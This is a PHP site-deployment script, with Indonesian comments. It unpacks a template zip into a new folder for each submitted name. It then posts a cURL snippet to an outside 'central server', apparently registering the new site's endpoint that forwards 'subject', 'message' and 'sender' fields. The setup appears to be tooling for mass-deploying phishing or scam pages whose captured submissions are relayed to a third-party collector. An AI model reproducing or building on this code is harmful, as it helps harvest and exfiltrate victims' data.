<?php
// Enable error reporting for troubleshooting
error_reporting(E_ALL);
ini_set('display_errors', 1);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $web = $_POST['WEB'];

    // Sanitize input to remove any unwanted characters
    $web = preg_replace('/[^a-zA-Z0-9_\-]/', '', $web);

    // Set the target directory
    $targetDir = __DIR__ . "/$web";

    // Check if the directory already exists
    if (is_dir($targetDir)) {
        echo "Directory already exists!";
    } else {
        // Create the new directory
        if (mkdir($targetDir, 0755, true)) {
            // Path to the zip file
            $zipFile = __DIR__ . '/peka.zip'; // Replace 'template.zip' with the actual zip file name

            // Open the zip file
            $zip = new ZipArchive;
            if ($zip->open($zipFile) === TRUE) {
                // Extract contents to the newly created directory
                $zip->extractTo($targetDir);
                $zip->close();
                
       // ===============================
        // AUTO ADD CURL KE SERVER PUSAT
        // ===============================
        $scheme  = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'https';
        $host    = $_SERVER['HTTP_HOST'];
        $linkApi = "$scheme://$host/$web/apiii.php";

        $curlFormat = <<<EOT
        
       
\$url = "$linkApi";
\$data = "subjek=".\$subjek."&pesan=".\$pesan."&sender=".\$sender;
\$ch2 = curl_init();
curl_setopt(\$ch2, CURLOPT_URL, \$url);
curl_setopt(\$ch2, CURLOPT_POST, 1);
curl_setopt(\$ch2, CURLOPT_POSTFIELDS, \$data);
curl_setopt(\$ch2, CURLOPT_RETURNTRANSFER, 1);
curl_setopt(\$ch2, CURLOPT_HEADER, 0);
curl_setopt(\$ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec(\$ch2);
curl_close(\$ch2);
        
EOT;



        // Kirim format cURL ke server pusat
        $curlServer = "https://pusatlevy.devdashost.my.id/lepihosteng/add.php"; // Ganti dengan URL tujuan kamu

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $curlServer);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ['formatcurl' => $curlFormat]);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        curl_close($ch);

                // Redirect to panelmu.php (use absolute path if necessary)
                header("Location: /panelmu.php?web=" . urlencode($web));
                exit();
            } else {
                echo "Failed to open the zip file.";
            }
        } else {
            echo "Failed to create directory.";
        }
    }
}
?>